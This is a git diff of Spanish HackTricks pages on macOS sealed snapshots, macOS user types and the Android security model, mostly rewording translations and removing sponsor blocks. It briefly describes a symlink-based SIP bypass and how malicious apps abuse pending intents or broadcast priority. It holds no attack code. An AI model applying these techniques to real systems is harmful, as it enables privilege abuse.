y fue posible crear un symlink en `${SHARED_SUPPORT_PATH}/SharedSupport.dmg` que permitiría a un usuario **desbloquear cualquier archivo, eludiendo la protección SIP**.
|
||||
y fue posible crear un symlink en `${SHARED_SUPPORT_PATH}/SharedSupport.dmg` que permitiría a un usuario **eliminar restricciones de cualquier archivo, eludiendo la protección SIP**.
|
||||
|
||||
### **com.apple.rootless.install**
|
||||
|
||||
|
@ -207,7 +194,7 @@ Aquí hay una mirada más detallada:
|
|||
|
||||
1. **Sistema Inmutable**: Las Instantáneas del Sistema Selladas hacen que el volumen del sistema macOS sea "inmutable", lo que significa que no puede ser modificado. Esto previene cualquier cambio no autorizado o accidental en el sistema que podría comprometer la seguridad o la estabilidad del sistema.
|
||||
2. **Actualizaciones de Software del Sistema**: Cuando instalas actualizaciones o mejoras de macOS, macOS crea una nueva instantánea del sistema. El volumen de inicio de macOS luego utiliza **APFS (Apple File System)** para cambiar a esta nueva instantánea. Todo el proceso de aplicación de actualizaciones se vuelve más seguro y confiable, ya que el sistema siempre puede revertir a la instantánea anterior si algo sale mal durante la actualización.
|
||||
3. **Separación de Datos**: En conjunto con el concepto de separación de Datos y Volumen del Sistema introducido en macOS Catalina, la característica de Instantánea del Sistema Sellada asegura que todos tus datos y configuraciones se almacenen en un volumen de "**Datos**" separado. Esta separación hace que tus datos sean independientes del sistema, lo que simplifica el proceso de actualizaciones del sistema y mejora la seguridad del sistema.
|
||||
3. **Separación de Datos**: En conjunto con el concepto de separación de Datos y Volumen del Sistema introducido en macOS Catalina, la característica de Instantánea del Sistema Sellada asegura que todos tus datos y configuraciones se almacenen en un volumen separado "**Data**". Esta separación hace que tus datos sean independientes del sistema, lo que simplifica el proceso de actualizaciones del sistema y mejora la seguridad del sistema.
|
||||
|
||||
Recuerda que estas instantáneas son gestionadas automáticamente por macOS y no ocupan espacio adicional en tu disco, gracias a las capacidades de compartición de espacio de APFS. También es importante notar que estas instantáneas son diferentes de las **instantáneas de Time Machine**, que son copias de seguridad accesibles por el usuario de todo el sistema.
|
||||
|
||||
|
@ -244,17 +231,17 @@ El comando **`diskutil apfs list`** lista los **detalles de los volúmenes APFS*
|
|||
</strong>[...]
|
||||
+-> Volumen disk3s5 281959B7-07A1-4940-BDDF-6419360F3327
|
||||
| ---------------------------------------------------
|
||||
| Disco de Volumen APFS (Rol): disk3s5 (Datos)
|
||||
| Nombre: Macintosh HD - Datos (Sin distinción de mayúsculas)
|
||||
| Disco de Volumen APFS (Rol): disk3s5 (Data)
|
||||
| Nombre: Macintosh HD - Data (Sin distinción de mayúsculas)
|
||||
<strong> | Punto de Montaje: /System/Volumes/Data
|
||||
</strong><strong> | Capacidad Consumida: 412071784448 B (412.1 GB)
|
||||
</strong> | Sellado: No
|
||||
| FileVault: Sí (Desbloqueado)
|
||||
</code></pre>
|
||||
|
||||
En la salida anterior es posible ver que **las ubicaciones accesibles por el usuario** están montadas bajo `/System/Volumes/Data`.
|
||||
En la salida anterior es posible ver que **los lugares accesibles por el usuario** están montados bajo `/System/Volumes/Data`.
|
||||
|
||||
Además, la **instantánea del volumen del sistema de macOS** está montada en `/` y está **sellada** (firmada criptográficamente por el OS). Por lo tanto, si se elude SIP y se modifica, el **OS no arrancará más**.
|
||||
Además, la **instantánea del volumen del sistema de macOS** está montada en `/` y está **sellada** (firmada criptográficamente por el OS). Así que, si se elude SIP y se modifica, el **OS ya no arrancará**.
|
||||
|
||||
También es posible **verificar que el sellado está habilitado** ejecutando:
|
||||
```bash
|
||||
|
@ -266,17 +253,6 @@ Además, el disco de instantánea también se monta como **solo lectura**:
|
|||
mount
|
||||
/dev/disk3s1s1 on / (apfs, sealed, local, read-only, journaled)
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware robador**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -1,71 +1,56 @@
|
|||
# Usuarios de macOS
|
||||
# macOS Users
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
### Common Users
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares de robo de información**.
|
||||
|
||||
El objetivo principal de WhiteIntel es combatir tomas de cuentas y ataques de ransomware resultantes de malwares que roban información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### Usuarios Comunes
|
||||
|
||||
* **Daemon**: Usuario reservado para demonios del sistema. Los nombres de cuenta de demonio predeterminados generalmente comienzan con un "\_":
|
||||
* **Daemon**: Usuario reservado para demonios del sistema. Los nombres de cuenta de demonios predeterminados suelen comenzar con un "\_":
|
||||
|
||||
```bash
|
||||
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
|
||||
```
|
||||
* **Guest**: Cuenta para invitados con permisos muy estrictos
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess")
|
||||
for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
* **Nadie**: Los procesos se ejecutan con este usuario cuando se requieren permisos mínimos
|
||||
* **Nadie**: Los procesos se ejecutan con este usuario cuando se requieren permisos mínimos.
|
||||
* **Root**
|
||||
|
||||
### Privilegios de Usuario
|
||||
|
||||
* **Usuario Estándar:** El usuario más básico. Este usuario necesita permisos otorgados por un usuario administrador al intentar instalar software u realizar otras tareas avanzadas. No pueden hacerlo por sí mismos.
|
||||
* **Usuario Admin**: Un usuario que opera la mayor parte del tiempo como un usuario estándar pero también tiene permitido realizar acciones de root como instalar software y otras tareas administrativas. Todos los usuarios pertenecientes al grupo de administradores **tienen acceso a root a través del archivo sudoers**.
|
||||
* **Root**: Root es un usuario permitido para realizar casi cualquier acción (hay limitaciones impuestas por protecciones como la Protección de la Integridad del Sistema).
|
||||
* **Usuario Estándar:** El más básico de los usuarios. Este usuario necesita permisos otorgados por un usuario administrador al intentar instalar software o realizar otras tareas avanzadas. No puede hacerlo por su cuenta.
|
||||
* **Usuario Administrador**: Un usuario que opera la mayor parte del tiempo como un usuario estándar, pero también se le permite realizar acciones de root, como instalar software y otras tareas administrativas. Todos los usuarios que pertenecen al grupo de administradores **tienen acceso a root a través del archivo sudoers**.
|
||||
* **Root**: Root es un usuario que puede realizar casi cualquier acción (hay limitaciones impuestas por protecciones como la Protección de Integridad del Sistema).
|
||||
* Por ejemplo, root no podrá colocar un archivo dentro de `/System`
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* ¡Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Grupo de Seguridad Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Modelo de Seguridad de Android
|
||||
|
||||
**Hay dos capas:**
|
||||
|
@ -32,7 +24,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
### Separación de UID
|
||||
|
||||
**Cada aplicación se asigna un ID de usuario específico**. Esto se hace durante la instalación de la aplicación para que **la aplicación solo pueda interactuar con archivos propiedad de su ID de usuario o archivos compartidos**. Por lo tanto, solo la propia aplicación, ciertos componentes del SO y el usuario root pueden acceder a los datos de la aplicación.
|
||||
**A cada aplicación se le asigna un ID de usuario específico**. Esto se hace durante la instalación de la aplicación para que **la aplicación solo pueda interactuar con archivos propiedad de su ID de usuario o archivos compartidos**. Por lo tanto, solo la propia aplicación, ciertos componentes del SO y el usuario root pueden acceder a los datos de la aplicación.
|
||||
|
||||
### Compartición de UID
|
||||
|
||||
|
@ -47,7 +39,7 @@ Desde Android 5.0(L), se aplica **SELinux**. Básicamente, SELinux deniega todas
|
|||
### Permisos
|
||||
|
||||
Cuando instalas una **aplicación y solicita permisos**, la aplicación está pidiendo los permisos configurados en los elementos **`uses-permission`** en el archivo **AndroidManifest.xml**. El elemento **uses-permission** indica el nombre del permiso solicitado dentro del **atributo name**. También tiene el atributo **maxSdkVersion** que detiene la solicitud de permisos en versiones superiores a la especificada.\
|
||||
Ten en cuenta que las aplicaciones de Android no necesitan pedir todos los permisos al principio, también pueden **pedir permisos dinámicamente**, pero todos los permisos deben ser **declarados** en el **manifiesto**.
|
||||
Ten en cuenta que las aplicaciones de Android no necesitan pedir todos los permisos al principio, también pueden **solicitar permisos dinámicamente**, pero todos los permisos deben ser **declarados** en el **manifiesto**.
|
||||
|
||||
Cuando una aplicación expone funcionalidad, puede limitar el **acceso solo a aplicaciones que tengan un permiso específico**.\
|
||||
Un elemento de permiso tiene tres atributos:
|
||||
|
@ -56,7 +48,7 @@ Un elemento de permiso tiene tres atributos:
|
|||
* El atributo **permission-group**, que permite agrupar permisos relacionados.
|
||||
* El **nivel de protección** que indica cómo se otorgan los permisos. Hay cuatro tipos:
|
||||
* **Normal**: Se utiliza cuando **no hay amenazas conocidas** para la aplicación. No se **requiere la aprobación del usuario**.
|
||||
* **Peligroso**: Indica que el permiso otorga a la aplicación solicitante algún **acceso elevado**. **Se solicita la aprobación de los usuarios**.
|
||||
* **Peligroso**: Indica que el permiso otorga a la aplicación solicitante un **acceso elevado**. **Se solicita la aprobación de los usuarios**.
|
||||
* **Firma**: Solo **las aplicaciones firmadas por el mismo certificado que el que** exporta el componente pueden recibir permiso. Este es el tipo de protección más fuerte.
|
||||
* **FirmaOSistema**: Solo **las aplicaciones firmadas por el mismo certificado que el que** exporta el componente o **las aplicaciones que se ejecutan con acceso a nivel de sistema** pueden recibir permisos.
|
||||
|
||||
|
@ -123,7 +115,7 @@ Para la ingeniería inversa, **Smali** se vuelve crucial. Es la versión legible
|
|||
|
||||
Las intenciones son el medio principal por el cual las aplicaciones Android se comunican entre sus componentes o con otras aplicaciones. Estos objetos de mensaje también pueden transportar datos entre aplicaciones o componentes, similar a cómo se utilizan las solicitudes GET/POST en las comunicaciones HTTP.
|
||||
|
||||
Así que una Intención es básicamente un **mensaje que se pasa entre componentes**. Las Intenciones **pueden ser dirigidas** a componentes o aplicaciones específicas, **o pueden enviarse sin un destinatario específico**.\
|
||||
Así que una Intención es básicamente un **mensaje que se pasa entre componentes**. Las Intenciones **pueden dirigirse** a componentes o aplicaciones específicas, **o pueden enviarse sin un destinatario específico**.\
|
||||
Para ser simple, la Intención se puede usar:
|
||||
|
||||
* Para iniciar una Actividad, típicamente abriendo una interfaz de usuario para una aplicación
|
||||
|
@ -140,9 +132,9 @@ Si es vulnerable, **las Intenciones pueden ser utilizadas para realizar una vari
|
|||
|
||||
Los Filtros de Intención se componen de categorías, acciones y filtros de datos, con la posibilidad de incluir metadatos adicionales. Esta configuración permite que los componentes manejen Intenciones específicas que coincidan con los criterios declarados.
|
||||
|
||||
Un aspecto crítico de los componentes de Android (actividades/servicios/proveedores de contenido/receptores de transmisión) es su visibilidad o **estado público**. Un componente se considera público y puede interactuar con otras aplicaciones si está **`exportado`** con un valor de **`true`** o si se declara un Filtro de Intención para él en el manifiesto. Sin embargo, hay una manera para que los desarrolladores mantengan explícitamente estos componentes privados, asegurando que no interactúen con otras aplicaciones de manera no intencionada. Esto se logra configurando el atributo **`exported`** a **`false`** en sus definiciones de manifiesto.
|
||||
Un aspecto crítico de los componentes de Android (actividades/servicios/proveedores de contenido/receptores de transmisión) es su visibilidad o **estado público**. Un componente se considera público y puede interactuar con otras aplicaciones si está **`exportado`** con un valor de **`true`** o si se declara un Filtro de Intención para él en el manifiesto. Sin embargo, hay una manera para que los desarrolladores mantengan explícitamente estos componentes privados, asegurando que no interactúen con otras aplicaciones de manera no intencionada. Esto se logra configurando el atributo **`exported`** en **`false`** en sus definiciones de manifiesto.
|
||||
|
||||
Además, los desarrolladores tienen la opción de asegurar aún más el acceso a estos componentes al requerir permisos específicos. El atributo **`permission`** puede configurarse para hacer cumplir que solo las aplicaciones con el permiso designado puedan acceder al componente, añadiendo una capa adicional de seguridad y control sobre quién puede interactuar con él.
|
||||
Además, los desarrolladores tienen la opción de asegurar aún más el acceso a estos componentes al requerir permisos específicos. El atributo **`permission`** se puede establecer para hacer cumplir que solo las aplicaciones con el permiso designado puedan acceder al componente, añadiendo una capa adicional de seguridad y control sobre quién puede interactuar con él.
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
|
@ -167,7 +159,7 @@ Esta intención debe ser declarada dentro del manifiesto como en el siguiente ej
|
|||
```
|
||||
Un intent-filter necesita coincidir con la **acción**, **datos** y **categoría** para recibir un mensaje.
|
||||
|
||||
El proceso de "resolución de Intent" determina qué aplicación debe recibir cada mensaje. Este proceso considera el **atributo de prioridad**, que se puede establecer en la **declaración del intent-filter**, y **el que tenga la mayor prioridad será seleccionado**. Esta prioridad se puede establecer entre -1000 y 1000 y las aplicaciones pueden usar el valor `SYSTEM_HIGH_PRIORITY`. Si surge un **conflicto**, aparece una ventana de "elección" para que el **usuario pueda decidir**.
|
||||
El proceso de "resolución de Intent" determina qué aplicación debe recibir cada mensaje. Este proceso considera el **atributo de prioridad**, que se puede establecer en la **declaración de intent-filter**, y **el que tenga la mayor prioridad será seleccionado**. Esta prioridad se puede establecer entre -1000 y 1000 y las aplicaciones pueden usar el valor `SYSTEM_HIGH_PRIORITY`. Si surge un **conflicto**, aparece una ventana de "elección" para que el **usuario pueda decidir**.
|
||||
|
||||
### Intents Explícitos
|
||||
|
||||
|
@ -183,7 +175,7 @@ context.startService(intent);
|
|||
```
|
||||
### Pending Intents
|
||||
|
||||
Estos permiten que otras aplicaciones **realicen acciones en nombre de su aplicación**, utilizando la identidad y los permisos de su app. Al construir un Pending Intent, se debe **especificar un intent y la acción a realizar**. Si el **intent declarado no es explícito** (no declara qué intent puede llamarlo), una **aplicación maliciosa podría realizar la acción declarada** en nombre de la app víctima. Además, **si no se especifica una acción**, la app maliciosa podrá realizar **cualquier acción en nombre de la víctima**.
|
||||
Estos permiten que otras aplicaciones **realicen acciones en nombre de su aplicación**, utilizando la identidad y los permisos de su app. Al construir un Pending Intent, se debe **especificar un intent y la acción a realizar**. Si el **intent declarado no es explícito** (no declara qué intent puede llamarlo), una **aplicación maliciosa podría realizar la acción declarada** en nombre de la app víctima. Además, **si no se especifica una acción**, la app maliciosa podrá hacer **cualquier acción en nombre de la víctima**.
|
||||
|
||||
### Broadcast Intents
|
||||
|
||||
|
@ -238,7 +230,7 @@ Aprende a [llamar enlaces profundos sin usar páginas HTML](./#exploiting-scheme
|
|||
|
||||
## AIDL - Lenguaje de Definición de Interfaces de Android
|
||||
|
||||
El **Lenguaje de Definición de Interfaces de Android (AIDL)** está diseñado para facilitar la comunicación entre el cliente y el servicio en aplicaciones de Android a través de **comunicación entre procesos** (IPC). Dado que no se permite acceder directamente a la memoria de otro proceso en Android, AIDL simplifica el proceso al marshalling de objetos en un formato entendido por el sistema operativo, facilitando así la comunicación entre diferentes procesos.
|
||||
El **Lenguaje de Definición de Interfaces de Android (AIDL)** está diseñado para facilitar la comunicación entre cliente y servicio en aplicaciones de Android a través de **comunicación entre procesos** (IPC). Dado que no se permite acceder directamente a la memoria de otro proceso en Android, AIDL simplifica el proceso al marshalling de objetos en un formato entendido por el sistema operativo, facilitando así la comunicación entre diferentes procesos.
|
||||
|
||||
### Conceptos Clave
|
||||
|
||||
|
@ -256,7 +248,7 @@ Estos incluyen: **Actividades, Servicios, Receptores de Difusión y Proveedores.
|
|||
|
||||
En las aplicaciones de Android, **las actividades** son como pantallas, mostrando diferentes partes de la interfaz de usuario de la app. Una app puede tener muchas actividades, cada una presentando una pantalla única al usuario.
|
||||
|
||||
La **actividad de lanzamiento** es la puerta principal a una app, lanzada cuando tocas el ícono de la app. Se define en el archivo de manifiesto de la app con intenciones específicas MAIN y LAUNCHER:
|
||||
La **actividad de lanzamiento** es la puerta principal a una app, lanzada cuando tocas el ícono de la app. Está definida en el archivo de manifiesto de la app con intenciones específicas MAIN y LAUNCHER:
|
||||
```markup
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
|
@ -309,7 +301,7 @@ Una aplicación interesante de los servicios incluye la reproducción de música
|
|||
|
||||
Los **filtros de intención** son cruciales en ambos métodos de registro, determinando qué transmisiones activan el receptor. Una vez que se envía una transmisión coincidente, se invoca el método **`onReceive`** del receptor, lo que permite que la aplicación reaccione en consecuencia, como ajustar el comportamiento en respuesta a una alerta de batería baja.
|
||||
|
||||
Las transmisiones pueden ser **asíncronas**, alcanzando todos los receptores sin orden, o **sincrónicas**, donde los receptores reciben la transmisión según prioridades establecidas. Sin embargo, es importante tener en cuenta el riesgo de seguridad potencial, ya que cualquier aplicación puede priorizarse a sí misma para interceptar una transmisión.
|
||||
Las transmisiones pueden ser **asíncronas**, alcanzando todos los receptores sin orden, o **sincrónicas**, donde los receptores reciben la transmisión según las prioridades establecidas. Sin embargo, es importante tener en cuenta el riesgo de seguridad potencial, ya que cualquier aplicación puede priorizarse a sí misma para interceptar una transmisión.
|
||||
|
||||
Para entender la funcionalidad de un receptor, busque el método **`onReceive`** dentro de su clase. El código de este método puede manipular la Intent recibida, destacando la necesidad de validación de datos por parte de los receptores, especialmente en **Broadcasts Ordenados**, que pueden modificar o eliminar la Intent.
|
||||
|
||||
|
@ -343,7 +335,7 @@ Para más información, consulta:
|
|||
|
||||
## WebViews
|
||||
|
||||
WebViews son como **mini navegadores web** dentro de aplicaciones Android, extrayendo contenido ya sea de la web o de archivos locales. Enfrentan riesgos similares a los navegadores regulares, sin embargo, hay formas de **reducir estos riesgos** a través de **configuraciones** específicas.
|
||||
WebViews son como **mini navegadores web** dentro de aplicaciones Android, extrayendo contenido ya sea de la web o de archivos locales. Enfrentan riesgos similares a los de los navegadores regulares, sin embargo, hay formas de **reducir estos riesgos** a través de **configuraciones** específicas.
|
||||
|
||||
Android ofrece dos tipos principales de WebView:
|
||||
|
||||
|
@ -354,7 +346,7 @@ Un punto clave es que los navegadores WebView **no comparten cookies** con el na
|
|||
|
||||
Para cargar contenido, están disponibles métodos como ````loadUrl````, ````loadData````, y ````loadDataWithBaseURL````. Es crucial asegurarse de que estas URLs o archivos sean **seguros para usar**. Las configuraciones de seguridad se pueden gestionar a través de la clase ````WebSettings````. Por ejemplo, deshabilitar JavaScript con ````setJavaScriptEnabled(false)```` puede prevenir ataques XSS.
|
||||
|
||||
El "Puente" de JavaScript permite que los objetos Java interactúen con JavaScript, requiriendo que los métodos sean marcados con ````@JavascriptInterface```` para seguridad desde Android 4.2 en adelante.
|
||||
El "Bridge" de JavaScript permite que los objetos Java interactúen con JavaScript, requiriendo que los métodos estén marcados con ````@JavascriptInterface```` para seguridad desde Android 4.2 en adelante.
|
||||
|
||||
Permitir el acceso al contenido (````setAllowContentAccess(true)````) permite que los WebViews accedan a Content Providers, lo que podría ser un riesgo a menos que las URLs de contenido sean verificadas como seguras.
|
||||
|
||||
|
@ -365,7 +357,7 @@ Para controlar el acceso a archivos:
|
|||
|
||||
### **Firma Digital de Aplicaciones**
|
||||
|
||||
- **La firma digital** es imprescindible para las aplicaciones Android, asegurando que sean **auténticamente creadas** antes de la instalación. Este proceso utiliza un certificado para la identificación de la aplicación y debe ser verificado por el administrador de paquetes del dispositivo al momento de la instalación. Las aplicaciones pueden ser **autofirmadas o certificadas por una CA externa**, protegiendo contra accesos no autorizados y asegurando que la aplicación permanezca sin alteraciones durante su entrega al dispositivo.
|
||||
- La **firma digital** es imprescindible para las aplicaciones Android, asegurando que sean **auténticamente creadas** antes de la instalación. Este proceso utiliza un certificado para la identificación de la aplicación y debe ser verificado por el administrador de paquetes del dispositivo al momento de la instalación. Las aplicaciones pueden ser **autofirmadas o certificadas por una CA externa**, protegiendo contra accesos no autorizados y asegurando que la aplicación permanezca sin alteraciones durante su entrega al dispositivo.
|
||||
|
||||
### **Verificación de Aplicaciones para Mayor Seguridad**
|
||||
|
||||
|
@ -373,7 +365,7 @@ Para controlar el acceso a archivos:
|
|||
|
||||
### **Gestión de Dispositivos Móviles (MDM)**
|
||||
|
||||
- **Las soluciones MDM** proporcionan **supervisión y seguridad** para dispositivos móviles a través de la **API de Administración de Dispositivos**. Necesitan la instalación de una aplicación Android para gestionar y asegurar dispositivos móviles de manera efectiva. Las funciones clave incluyen **hacer cumplir políticas de contraseñas**, **exigir cifrado de almacenamiento**, y **permitir el borrado remoto de datos**, asegurando un control y seguridad completos sobre los dispositivos móviles.
|
||||
- Las **soluciones MDM** proporcionan **supervisión y seguridad** para dispositivos móviles a través de la **API de Administración de Dispositivos**. Necesitan la instalación de una aplicación Android para gestionar y asegurar dispositivos móviles de manera efectiva. Las funciones clave incluyen **hacer cumplir políticas de contraseñas**, **exigir cifrado de almacenamiento**, y **permitir el borrado remoto de datos**, asegurando un control y seguridad completos sobre los dispositivos móviles.
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
@ -384,12 +376,6 @@ if (dpm.isAdminActive(adminComponent)) {
|
|||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||
}
|
||||
```
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
